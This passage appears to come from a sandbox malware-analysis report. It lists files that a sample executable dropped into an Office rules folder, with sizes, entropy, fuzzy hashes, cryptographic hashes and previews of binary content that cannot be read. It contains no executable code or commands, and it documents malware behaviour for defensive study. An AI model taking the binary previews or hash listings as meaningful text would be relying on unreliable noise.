Preview:	<?xmlb..;......@.......X..0pE...},....Q. .b..N..1..B)E.....S.....o.....).<.ne..d.._LTKx.............S1.......a=..t.#~-"B...N..~.B.oH..H.8..&R.......Z..-..I... .q.....a..H.H.......d....."..q.<..J$.>2B.V.H .V{..........cGA6s.s...%...nxE..}...s.Y....o..4.z.;'t-.J..u.o.=.o)......=.-.~.....U..a.~.RI}Ut'...4'.c4...c8I.y.f..[...'A....\...L..2$..K....Ip....Yj@..a.;...N..&.?.J5.!...........^.........C.V/oBl.dk......~..?:..x............-`r_`.n...Q.......7Dz.V..........i.\|=.....b.Y...m..l..&.ig..7....j....Gj.u..._...R.k.(Y...r......-Z._..^Y.3.V..!.hZ..&.....HP..w.....@2.<...u.K.9.P..+O..E...f.;.e......Gi...K..b...;...A./...f.F.)h.....X.{.Gi......)....T..@..(.`n...[.. ..<..;..'.An\|\| .I..7...P.....8/.W......?n.s..U.f..x&E......\.q....-.MP....-.W@..l.a....a.O.T..>.K...J...V(...D..76.K.$^.....L..k5.?g....J...8:fT..a..,Cm.4"........Z.W.E...-....Z.D.m\...,..1..#pW..2N..._...Mj.{b..../.....LF]WA*...J...v1M.....=l0Z)..ni.zg....O.4D...L0.]L...h.V.....Y\k 7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.890969132458026
Encrypted:	false
SSDEEP:	48:crtp4Al9U+Hgzddfyqdtga6N7O0ACQ78wsHobi+xFnlniD:qpraIIfp7FCQ789obiG5I
MD5:	10E2409F7DA6FF7B1924F1E7CFC834C4
SHA1:	107EC904DADFE696243F4A4651E335DE7748AED5
SHA-256:	D1293E7C9BF042FF5B727EF80295F02CF3EEF751FDB3F05209A48B3A1C0AC976
SHA-512:	2EAB5398E65A5597A4E266B70E5971257D175B89B9E271895AE75E1B25EB6FA397E27F4D03F17322A6E455936ED97FF7B30EC0430B661831B2AC3B7C2FB774C9
Malicious:	false
Preview:	<?xml.<K3..W.W.L-...z.>.$].E.P........4?..7.2......iJ{.....'m;.`..q..L.\|$..bB.o...)........2exPA!-x.W..}..B2~...^@:z.k......c....iQ...D.......z.Q...T...8.._.o..+.....p..~.L:_.5..]..^.Kl[...wGs5.n..!...5.qM.T....X.y.!S...v..0.......s,..c...b..3f#./.P...K...8`........h...J......^.`...x....@.C.....%.]W..Y8lH.^..6M.....v24G.8.g.v..7.G..k.h..1.h1Po.m...-.^.?...8...]..}.ctyG.n..........B...C..].4....SvVk..sU......K..1X/.......+MF&....rv.q4....CI......o-O.J...c.^!u..0.&BpB7..PV.t. .....FN.4..d;..^.0.@.J7..e.......a..Vg...K..',(...AW.8.,.....>...\|..Qu......o......Y...j..m.~..L.../q-r%.hL..a.).....k...R.e.........!?. ..`...........k...}.I)....ZN.,.!.I7.o.}.......F[[T.....,%;i.SL.=#.IZO.R9.u..z.m{L...{.&^..B.Hmp..w.19}.......KV....^....x...J-....F8..^..f^.....d.....<....Y.=..a.R.C...EI~.L...D.d$C.;..S.FI...-.-8....?..)G......_.}...`....c.T..N.+...vn..e.J!~.b....B.s......5...N..\\..bo._k...X..$.^V......2C...c{sY+V6m.-h.Z.>g...1 yu.9 7/

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.880468084622982
Encrypted:	false
SSDEEP:	48:nClVprOp90A4qyHQS1a/NKTWrG138W6or8ZnhQkZ6uiD:+VhU0A4qyeKSrG138W6oIRhQkZM
MD5:	F59E1DE6EA05045C3DED876D6CB68431
SHA1:	0221B868EB40EE8D16E2A76B8F9A196F33722267
SHA-256:	17FD9B4CBC6EE70CFA52FB94A7DA714B2452FB6E00BCB15DFFF84A99F40938F6
SHA-512:	F08784C2C1385AC90A39FB12B56C9D067F099313CD4B5CB60C12C844732B46E25CC894FCFFC7346CC9EEEC52F0277831A4A5609594813090F4917A21FF218794
Malicious:	false
Preview:	<?xml......>9.Ps..$..{.r...$}.%G.\..A..$.Y....#;...6}@3..2.......h....O..V...l6..[.)..w..\..1.J?.W.d.,v..>]..]..D..J....s.[?......H.8.}%q...~m..x}C=......l..V.`..Fl'9.P.=[....c..0#P.R.....k?...e...6.o.....rqq.>.z....... f.X.i..;s5Q.b.).....L..C.F..W.........N..,...4....T..^..E8WF;6.Z..:.\q.(.....;.". .4]J...Zn.j...p.F......J...\|..7`..k..UY........H..$#.b].2W..Q'..:.4.:...KOU.I..e...6W\|8..3a)._.......6.).....=..2..]}N.6N..&q.n.n% uw.K.".Dc.9.n].Yz..r...yVi..i..x...+..,..c....`>..M.Z..6..`.X.WVo..>......O.t.........WC3j.5.O....N.e..v...m..k.}..7.."....?Q.#a.Z\~&.7...Z.N..{.....a [...2.....uh!P...!f..p`.-i.+.....~=....j..cr $1`g6.6.[h.....A....9XV.......nX.W.\|.Z.&..._Ax.:...m..k..9qf...T......{=U!..8..S.wcL..D.nP...As..P.}..s.1.jn..\|......'?EWH.....u(..%?.._h......Ar...mN...T$'.}..k..a..5...#...o"...{.+...i.!C\Xt.F..Ga..X.]\......em\|.#...?C..{.X. .B...........^.-...0..q.k..'....0... }....c~...........8.;..(%....a.D.+. ..{..k..j...7..)\|Y..N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.890352273688951
Encrypted:	false
SSDEEP:	48:bs57oSNKqR16pINY6f/qJXyACnzu85eVtl99tiD:bU7Y816UY6HqJXH85ed9a
MD5:	4EE99042A31178E543434118E5BD3548
SHA1:	ED22EC42BCC10B2294DAF0072E777BB495D906D1
SHA-256:	B9A3966B5BF0064562A5293588EF9DCBADF00A2B9641E4F3D0CE99AE0D33B690
SHA-512:	7DEB060AF660D0DBDA4E1222AC3202BCEAA2F7BE44273F73B850CC456C9104B9E8A3D77DB72914DC6D311BB357119BAC4EEAD802C758ED68CA8A73CB612AE4F7
Malicious:	false
Preview:	<?xml.....,R(....J..?V..4_.a.K..1Eg=...6..0...Q.vb\|.... ..S`..D..!...['l..(3.YQ...3....n#@.V.......rv.....&...>..l..F........W.....q[..S.qL......2DO.se.\|..n[...>..^....z.\|K.i.w."ql.T.g8.%..~R...E.Fe.-.,C..Sx.:...h...1+<x..]b.gz.I..ro........$%H...x4$......#..C.4>$...ik0.w...p\'.HF..y..Y.VP7.d.y.Gfh#...?.9.$...;z'.......h...f...6..4T.q..96......yC..$RY......m:kK.....0.._..z..b.R.".....p...S..........q8K;.!.s.z..j-.!Z.Cu.4...^Q1...=...S......d..!CR....$.....W..c<.$.5..W.....Ds.b..F..#../.n....7..../.E..:...i.jSb.8......`....4.k.B.\|j.. ............7....9......g......^........b..........J....]^.~\,...1S.....X...Dp@w\W]b...z.....".t..(....,..2.].z.....I..f\|T....t}.....$m..1...Lq...&..gN.~...T..g.....L.%...S5`..a&..A..A......>.nv...@b..o..[Rv...`JWA.......(.2......^Q.H.[.m..q2.-..r.wQ..hu.A.9Q.............(.F..s..+zG.Wr....Zie.#....}..[,..R......>.(._....+.Y..,Zk.2..st.......V..#,Q..:.._..X.b.T.Z. .p=..w..p....r.....r4...n../h..-SO........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.885294760601509
Encrypted:	false
SSDEEP:	48:IsBs2WAdGrIPKwmC8RhnW23+CmFbt3Cho+TiD:1Bs2WAQrIPKJ1FECmFAyP
MD5:	D98114C88B5B1DAB004D11FA08F3E099
SHA1:	247ED9ADE83C3B009C3C335609AD421EE9719AA0
SHA-256:	BDA83C7FF63D4F306C7EF2BC63EC63BFA819D65E7C5EDE13144F6D939DD408DE
SHA-512:	FF6E01F83F46A9A80F0DFD9BDAE882F84A351825E7832271E52530323747213A4E807F9942BB18B167C100876BC2EF76E95FA6A9A7D443E1AA84CAAA4BF0CEB6
Malicious:	false
Preview:	<?xml...-..H...\|.il.k.......V ......z.j....R..I.......IQ.^.<.t..;..98k.R......`...y.e.....Y.1x5\?._./uZ...O..+.mn..^t..]..qYbN .S..,..#).K#.0.../.B&..U..'j..w..m..........ue.9;.....,.W_J..Z.....,..(.n......r...hF.y$2...S..OT....F.`.....T....Y..Q(P`..T6.b.&........$w.....K.".......9.Z...h..B.%.k<i)'..t.. ...XE...U.7.U .G.q.k..p..#.Wu..[..W..~...".j.)F..Ax........L.H.._...w...-.Fa..!...8.F.V.t.>.{.1..~..~6.h.FS...d.wH..n.I.....U./......{.X....E.o.^...%za..H...B......v."^&R.:oV%.4.y.,2.{!..n.Jqr..k....At\j.O.....{...h..H.7....:.l....X.r..K,.>....v.......{....-.........T...<..,.l...'0...D.6j.&x.\|..f.4sa...t.Bf.'t..7..A.=}.V..&.J.../~2.E..;N'M]g...{..>n."b.~:O...h....W..7......o._.GH.}.J..h%...p...)....;....<.........H.KD..c.T.&.z..p.X<-...d.[.......;.6'w.}>.....7..V.!....{a>G.'.%.n3$.F....5b....`Up(#..dK.......m..uNX...A....[...OW#1D\|..."....{^WD.....^4......t.3.....q.1j...y..........0...:.}.K....}%..x........\|.?a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.890621907761132
Encrypted:	false
SSDEEP:	48:ZT4y+lOuB39bQkQOJVAPKuaysSZ7RKuh7MNwriD:x4yedx/1ufNZ70ut8v
MD5:	95F21D1D3A3297870400733D141260B4
SHA1:	7745D4F48A57EC708C922893FAAEDC7DBEDD988E
SHA-256:	E6D208D2170F4DFFAF4A5AA2BFE3BE36EF9150FE692E6AA52686C8DCCA56EE22
SHA-512:	3D1BAC784A461B09F34D6414B8B3CE7700929B5CCB6841D15901E49790A80DDA4DF19DA9885A564A02DC0A91B06FA3A3AA14C98C400B7A554D1F2924F56B4134
Malicious:	false
Preview:	<?xml>..JHm...b.J...B.....v1...Y..T.+.kx..........=...0.=gA....r.\m.d...v].e...o}O.vL&(.....Vz.D.....#...=.1.....e}]..>.7U.4l..gv..%.r.I4..`..........#.N^..02.......qZ~.P...\..o..DA..\.G.f.pY..\.}<a.9{!="...}A}..,..t...;J...v]$"..N.6./.J..4...i.:.....C...SjO b...s.b.1.G._.....<=.....~.....hc..A...C..(...2...(p..wq.^r.V.1....Y.F.SvpG.%l....u....(wu$.#.P=.....Q\.....h.]T....J...9N..B.D....`.7.%2.T....Pr.~.#.....z..w....q..q..YWtXQ..../.........E.Ya...C?..\|.:..Q...M.f......}7]N....bg.L.qZ.P......d.....5.vU.v/.i....z_...e.8...P...;\|.e....).6...Gu9-...).@..O.@..$."S....~#.`\|c_.{x.,..D=.r?9O..w..-..P.k.._...T..}..E4.W....a.w.t.......Q..............k.5.L#.R..E.]f...}........F~..."8.Di...3.....i&J]0...$._.]6.M...5iLy..s.[d.$....F..GWg.J..5.~...W...y..V.C...$f.B..u..\|yM^.....0 ....[..#uU.+)@'.0{:........sx.3.z.}!...G`..GP.i.\...rz../.5'A...@.v.......B.Q.`U8.....<..s.p ..$..b....~.D..s....uW......hc-..-....L#S.H..\..M... </.....i16....H%..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.882030365562011
Encrypted:	false
SSDEEP:	48:4512l3jLtIR55Q+zAFPZKkSx42kBRUbFalc/MsiD:7RnCR5psLgx42kZlc/M7
MD5:	4F108BCF91732BD1634DC790C328F5D8
SHA1:	34F945B9263EEC56507BF24DB675F23B88326B78
SHA-256:	35CD0D9A1115E8C9891D7229D02FFE0310C105B13756F597E1370DDCC98111F5
SHA-512:	5C6C9FD73E6D141BD4AC783960125DB0B7DBC31AC3AC193E3FD221011083A8F355AA6442E8636B771B7D3B44D6CF781D284035E70CAC2D1FFB7B4EED34A94BD2
Malicious:	false
Preview:	<?xml...EK.G+.a5=........K.vc.m.[..f..s..j...8...5.}....t...........`.+.O}...$S5.....0._..3Y.)".........j)q\|.yN.&O.>...$.,H.............2.....5..M.dlr.i....:s...:C.......oZjk.=...,WQ.J.._..2.z.B6N.... .G...;;..........]F..(.......7o.(O..Ru...Q"{.w..Y.B...'.W.w.[..(.'.raq....."..F...(.X.H.g..Z/.M.....^...P..2...W..@&.j..F.....\|.9.oA'..Q&.4l.r..z..\|@....:HZ.@.r.Ra........NS....J.D.b.[y.h.uA...A...w...Cn.....jY.m...x...0.`^.-...I<..!F.>.IQ,.j&53<.D..$....W.z....D..BV..o.....i..B...1=..............q%y...A/...=gKs..........+.R....v.a..N..;....r>.o.k.2.z8\...b-..s...d..sU.m.......?kf-NC.`1..qZ..!.2.&..y<..b..0...#E.#..b....q..+.u...VS..9..........3.d.Q.x<u.fm..p....=....tq.zQ..:..k.X.5..J.C0....bf......u...~$=.\|#..g..7.{.7./!@;b.....2.........B.W....A.@TG2..;[w.!..^\+=..{....\...Y...,....Q...a.a...Opp.B[...&K..&.&@.Ip.2."...Cl.....o!.i.a.....^...9.w./u\bs....!..yN...=lD..:.t1.........)F.I!.o<....3+.X.2....\.Nb.!....B...N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.890780197278859
Encrypted:	false
SSDEEP:	48:xpiC7dGNpWrsf+yvWlgXhx+/IaGRNiXLyxxFSFpviD:xpiCpGN6WfelwG/wRQX6Fd
MD5:	2F96F846B5830A1381AB0C48EBF022D1
SHA1:	A9E4A3FC42D57256974BB829A930DAD020714FF8
SHA-256:	9EC81B8E060AB2F7E52CF59D1AE2DA5B5F3E2D9FED93EE1B769631F38B3F232F
SHA-512:	D9D14D1D71F37A2CFB2D5A28D6A999A8156395EB22C697D8551B1F9121898195CF9517EB4E0114DAAFE3D99A4FF698042F19FE731FC2201962D6DE3E341D3044
Malicious:	false
Preview:	<?xml..<.C%..!<5[...qT...\...\|..k4X.).......>...r`..x<...W\|.f.> .r..&L.d.w..j=.(..RL...ul.q`k..O9q...}9.....-.....dy.......O..8L.X..U5M<.~.@.......hF..6.k..Vh.......f......[.Aq..@.]G!...<.....u...g.{..C_.x.{.!:..\.h...<..).._^}..l&.....g.....S.XB...........w...Y.6...]R.u..MQ..6"v...#<^L.G..M.$8.Y.HI.-.x.Q.t.~..\.y.q.....!.\|...../.TP..#.?}kX.Amu.....h...O.&.k.,.......#.Mr.:A@...`G....(.m8Gf...9..i./U..h'!{.l~..G...._.L..2o.....3.X....._.epL". .q?.....T.#.P."WI..Q,.......;:g66.V...fRV.cp.#./.;..W.[.Y..oo..B.3 ...!.]..~u.R.7P...L.j...\~...0n."...=..=.........\.Q9..Dn.=.0.y..$2......8HS..<T...T...i.W.\|.&.h^.G..0......}..5>>..r.6-.fZ./+.c.=....7$.w./T....7.Mx..@i(..z..D.7.....mQ..X.Q.j.8=>J.k'...w9M.b.r5.7.....1......3\..o...4.pO.&W.W..1..Dpj...@(!.=.6.....GTU....#...,.........)...u)7NO..............R.Osm.I.Q^\|.-....I...l>.R...t....'-?l..+{',Nq..r..R...n..r.q..:...:...J...D.(I-...3&..C....!b}........`..1.b......c...+.I..m..l+6&...X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.875521995337802
Encrypted:	false
SSDEEP:	48:wJjUNG+eZEowLD9HH1ryRkJDScka2zrBNNoRpmFjiD:wJjUNnDZnpp1+a2/BNKjF
MD5:	515F8F61A277CC0ADE01184D94F3A8EA
SHA1:	1DEFCEB3AE2FA6664D582BE200D8F7306436842F
SHA-256:	6A14FCDE1C9BCD2472A7260D0A3F99F2F6E6180440F32E71646F29EEBD4B8D05
SHA-512:	B5F3F91D910A3D2F9FB2E740C271248D759F18565397293714644388DD8E47D5962D7DB37BB3CBA2405E7DE4DF187128CD26190EF6CDB3CCE3EC081631109266
Malicious:	false
Preview:	<?xmldu..Nrp.G..M".[..IN.{0x...CN.@.t"]p8{rXE....Xa...i[..7.....&...G\|c.Utwcn.5X........SK.tm7.. ].#..3k.m..w.Q....%T....!W(....S......#''.Q...[b.?~..p6.S....W.S1.v................K...H...(.#....om...l.G....1z.J.ar..qHq.[ ....NWG(.h..=.i6........!.;l..m.r6.6B3..3.......(....C-N..4...q.M.S.......f.\..[.Z....b...zD O...P..~..Y(K....p1.......Ml..{..PE=.3.5..}3>4G)..../..z?.8:.}..1g.....Y.ZJ...."..n.B.#.{h....7.D.7>.....".o.xL..v..]\|.C.].M.c...^.j.Y.............f6...~........]S.t."....\|S.b.........Lu...pz.....ei.a.X..h..k........g....D^]...Y.S".q.P.9..fNO..0..p.........P`.,.#..Z.._.bZ.....h)>.O... .........wk{.Ih.y...WfUO]2.....q.>..W..M..2=.iX.............BE&UY...t...]-.5.O....[@.....0i.....>..;6.A...$.0..b...2..V..._...3.hx.........}..6....t.....1...J......O=5.<.P.mJ.pM...~..;B.......6..%.........>....s...t....V.!W... }X........n)..Z.....>.@.Z.>...w.i.I..W.z...\[...4....P.......F....S.e..Q.1`MW.]tV/<..]e...../2.......~z.T.b..B...[.8.m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.907480707920606
Encrypted:	false
SSDEEP:	48:sfjqOUus3qGUt4bzsfaW+nzWLJJMQh4hPMRiD:sfvUus3qGUt4bzsCW+nzD7hUQ
MD5:	EBECF9A7A870D4538E4CA85EF290E9C4
SHA1:	5F04F7B46404B372A6B80812714C1A9364A209BF
SHA-256:	3483C9406373D8FFD6565B40A26E9DCA80DE76482399852F305481B95BAF84BB
SHA-512:	D2AB09B30043C9719E0C4FD24F664B30D0CC152B63E5850D486C55FEA8E122EB1554A0921025BCD69C812E434DE1FEE4B311C9C6D94BF4608DAC2FED0E94E841
Malicious:	false
Preview:	<?xml_4.^...K...f....S.(U.m..Z..e.f.t.:.y.^. `.WQ.{..."X$Q?.%m..a2....W.K E...H......r>z....cT...x.:.j.Y. ...d'j%Y..ftD.....R.Aj.......+]..6...X).s.R.I..~.4...;...h. .L.. ..k...H..I....Ce..nV.j.i..cc....z@..^...T..M.\.3...Z..!.q\|2,....s.].B../M".p.e C^.........d.V...K...."..1s...#...B/...s.....Q...i.>nyU=.LP...l,Y....=.6:6c.......[..5..&...LF.JM......1..~.Y....,.=o...!..0bZ....nph...q.u..{.J.......e<....<.'r.!..`y.taA.a-..\|.....H.y }R..//34..../bN.....3......?...9...[....V4.....h;....w......o.S..g..o...`....g'k.4..<.B.-....H...N.T...`.o9..!.y..GO.^......0..HVi..."\|..Z..@.j....qH..+...........L:..o.(.NM..xO.......@..q.7...f;..s.."......].o..~.U........}.)...!..y.GWG....k.V.~\..lC..b.4.SU$d.S.Y.UT.#....k.K.d.....9H..V.....p._..<..h3..W.....+...)v..U0!..RS\.......4g.n..X.\_Md..].}.W3))..M.... L.P+g.$...Q.)...?.h..$...p.........J&h.L....y......jXX..I.=._...I...zq..)......".x.F...?Vh7.~.......L......*.U...eW^%...l...fm..j.i.r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8674015961215025
Encrypted:	false
SSDEEP:	48:u6rur488KM3EWT/rJAII4KnUr/R0x48hzznBBnGhliD:umDKgZrC4sm/+PhhBnGhU
MD5:	82C107A41F0E6FBB7EF84BD011A5982A
SHA1:	175B8CACA203025295898D3AF358B3D01A8ED586
SHA-256:	B81E9D3BBB2F4D2318A621EC64B061A64B4F4BA2504E66B5E22CC43FDE28646A
SHA-512:	1C252A1A4E7061C7678517013F3DF0AFB1AF19B52368C14357D7C24390EA4A01F39E2B5F2AC44F54447237F691A03D650A5BC3B36AED34425CF301F7B9A6C50F
Malicious:	false
Preview:	<?xml..Bh.N..~G.p....}.5+....[CI.&\....-q.',Y...W....;].....,bT^.%.....9..E....[...S....).F.....!3..z...b..M]...j;.Q.EA...=X.......Qh...5..!G......l.7.m.....e{....kt.\=9O.6T.&4C..._?.".cA.....>ZG..!..Hj..C......H.o3..[...W......z...\.......t..Mk-%.ej...v.z.."....^....oZ.......{H..R.....................s......d*.......;..bh..w.T....Nd.V.UO..............]...B..6.X[.lR...&........t.....&.Sw....&.....c.v.&d...M.B..t..2k.\e.,k.d..n..+5i..5\|...Mb.[..qRU.:df,.C.5.J..I.....kZ..].D?.&,.X...>.}..u..Y..1../..7.v.J3..$......?lU.JY".Q.x.XV..O..].Q&.....Ed.."......W..+..FV...F..<.g...K.^..{.:.7.zR6.G.Z..2.,\.W7'.$..H......2..:._.dE?:..p..6."...{..6......VA../.......'...3.I....^.j.kg.H.V............'O.....Uk..~....vU..PE...L..;..)naZ...s..{.(!..O3.\...eV$..@9;...>fn._..7{...Z...+j...1a...v.!.,..i.3.l...U..h.<..)l.2.....Vn.M.qNL..&tLk...U.E..X..A0.O....y...Co].,'..bh.s.Ob.h2.z)[F.B...7..l.Z.....'........T.5.8..34K...L..#..m3$.O..E..r....._...f..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.890242720392642
Encrypted:	false
SSDEEP:	48:ZbvYzadNUbPM/SlMpn9PHn1kRlslXO7S7lkR3JeiD:tv/ALQv9PHnSEuU2fh
MD5:	028FA5CBBA64EF10A4F27528623F5C7A
SHA1:	6997C0E4D3F7D481A53415736288159D6971A97B
SHA-256:	B7BF9B6409F94A43CB56BF4C23B439AF82BAB501538B33933656B6985B68C3A5
SHA-512:	8432FC1544246D0A1A525094C6E958656A421D3AE6C5E28AFBCF2A9C641A4B35DCFA5EBADEC06224794983EB9431CB6A03D452A6A1672666C3F25DE1B5D24F25
Malicious:	false
Preview:	<?xml.dy.....X...V..cW../}"..........O'S.9....m...Jb.x....v.}...25..&.+.5.LL!...O......C.IQY......,l.. ...eUt.j.(x..-h!W......gf..7...a-...$fJ...@?...;nW...5...y.!+..........G..H.m.<.:..J.?.[Y..U6Do.Nt....K.l.>..XP.h....9[...ZRA=..................b./........]._..Y.......d4]...8..%L..U...`.\..m\|.......X.\.......3.........i.QD......Kx...t..h.:..w.....2c.q.Gwm.,...bk...."...d....MN.\|......z.^c.Otr......h..%:.b .>.}..os........p....W.e(.).Y.......]..?..2.. /w....)$.cJ..\|$.7m..G.RB]....t.R...@X.Mj..g.Eh.....X.m...'^....,.[?H~w/,j......P.6.'.h.Yv..e..N....7....d.T....Z.. .4.m.4nd9pV.\|...a..c.`I.!..h........a..W.............qsz.D.W......0..X.8...s..IE=.k..\|.........BW.....p.P..R./.....R...?F?.Y.R."N&Z.E..`...l.3.......{)....*@.Le-W2H...Ut...u..w.A.L.=}...".......B...8.\|....d#..Z...........k1.......Ql..?..7. ..~....2. .z.)..Ij...5CMs.Q..%....8/:...)y.vWn?.u.B-...Si.&.._.91y.2...\|.V...SMb.L...DO.F..I4.e.]."^Rb.J.{9...s..j.8.5P3a.`3...:.~...W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.867751092749514
Encrypted:	false
SSDEEP:	24:YSH4JOzizoYeP3/UZlon6WvxAagnNWe8ehdfaTYunsCZvu+3TYRqGTgXhgwiTkbD:YSjzqC3/qQpxxgnF2sC953TATgxSiD
MD5:	70BB7095F27233BDA95CC8AF5A8F1319
SHA1:	76D1FDEBB34B82EBDDD77A0E2384CA336BCB8A91
SHA-256:	67C3A99381CBE4920B212C85C73718CADD45DAFFD4AD28B2B147490725D4B76C
SHA-512:	948D7B2FC5EA07555B0C2BE5FAEC0450A8FA05C6A6BAC146CA8CD2F8D4F3AF0FCA4DFDC718CB271AF0E2772F75DDE7AEC1E64DAB94B0F4799194294529AFA6EF
Malicious:	false
Preview:	<?xml&.:zxl.:.)..k.VI............cOj......A....:..D.%.g[.<....O+k..S.E.]}...}7......d...Yh......S=.........Xc..pUapJp._.2+z.pW.%......_.KZA.z-8.}..,."4.....m..f........}IUk&......0.V.,.j..qY.i._....F...q...f.p........J..VW.S.q...MA..w.}V_x.#...9.i1....s..I.=.......D6N.......fQFF.\.@F.....J.g.m.>.Oyw..5.......8....m...\|z..........Ly..xCU..&X.{._.w.m0.`..Q.....B@.lY.z....W.3....B......,...+.Z.)..}0......h\..t......,Y_.z.u>..F6.a.q..?...X.....F.....:...E..Ec..<...hy.i$.,.h....G@.........\........-p.JewJ....!7.."..p{~m..G.u.O.....z..qb.Q..EW.-..\.+z..".t.v..(.2..'...^....Tw:K....6..Z..fh.\| ..".z..\|..o.w%.5<.C,.Y...a}..#.Z8...o.$A...:.9.6.....?a.eq...E.....<kY..L%......~.#..R.d...s^..&....qCd).S.B..;.og..Uf,K..Sh.f..GB..@..Y...kb.%....c.@.,..CX..Q.w-7[.?..d.R...s'..,...a+eq.G.a....X.sw..4u7.....X..S..U..2b.Z".......q7.[.G..v..b;$llBg.X...-0n.-.&-./..2.Y.X..>..........0IR...6"-[6.37.4..6.?..{..E_.~.^.*..QKt.....j...-X...L....j....X8r...gf.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.876237384015118
Encrypted:	false
SSDEEP:	48:zx1YoYdI3um3yo/RbdDHqLq8kB2rJUGiD:bmW373y2RZHqLq8M2U5
MD5:	A70F5497A856692D93AECE448B08C66C
SHA1:	74191DC44CDED06DA742F37F3FCCD0B6F8C79444
SHA-256:	44F38A2BD893C57FBF12224F95C0FD636778FDE7651588A4E7D1078A02F4D5F4
SHA-512:	93D105055F5E1AC0366B6A0055AADB7EF130A1285E2CC8B0EDFD64286F6E59199E2820F1DD98555B4435643F46CE070DBE4D6596F621BF40F715B5599438EDDE
Malicious:	false
Preview:	<?xml...xQ....XOPxe.S.8..lwg.W...i61....J.._9[.N.2."...r.P..?.S_.....<w.}d...qB.\|...%....g.NY......E.....2q..?af..mhU........c.Y^.1.q..4O......o..ym.-q@.xF.!x.7q...........A.&..J3lAr..n&...T`.UM./.nt..\|...\|AQ....W...YH......<......).....WW]`9s+...2.8....?.-....a..C....6..y.E.bxP..pv.-.Nm..5..7O...4v..O../.m.tg.D....ZXzc........d.=..l....EW.2..^T..]G.J2.Q..n......fb...sIc. .M^..(.~..q......{..U.+...3.......y...3..........9..7)8..V.%.....q..1.T.I.B..\..F.D.g._.gx.fT.g......S]\..?..n..w.M...Y...Z....D...Ll.O.JpG3.}.S...cV.N.....Z...p..{(.#n..v^.g.=.?1z@.0v.......}.d$u5ua..<.@ .1..........%.;.. ...9....b.....-...j.=.;gO0).M........&.).b...#.:{...{-...kv*\|X..B.q.......Uk...{.\.....L.sa.T....e..MQ/....X.h.X0..."-.T-FN.....V....e.0...{V...m......W..^xm(....z.#{..`U.n..&.C/..y...D0.F.B\...2K..~...9I...B...........xb...f[.....z.b...p..Bc...B..U3U.n.O=....~..5..:c_..6yp.KkY...C......$>........C....M.mq6.j.2.B_...!...aQ....E.....bS....6'..?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.8797177241426555
Encrypted:	false
SSDEEP:	48:rEBPm6cqzMk+q/pKkGhq4wepQ8Ob4ZgIofQU6iD:rEVzX+qBKfwN844WJ48
MD5:	433323D4FCA17D16485E1D27C41987B6
SHA1:	A73773824A8F7B74E659D060E10FA7F4F1FD8661
SHA-256:	721064FBB696A373B8265779B8C29BD9966E2E157EE03557B874A4265B0C3029
SHA-512:	08FB1D88875CFD5FC37542D154EC33399B7876835EF1ABC8DE6FB8992A88BE37FC17CC429EDD0AE1BE0506666714141F35436B4713095B0406C11949A91D4C09
Malicious:	false
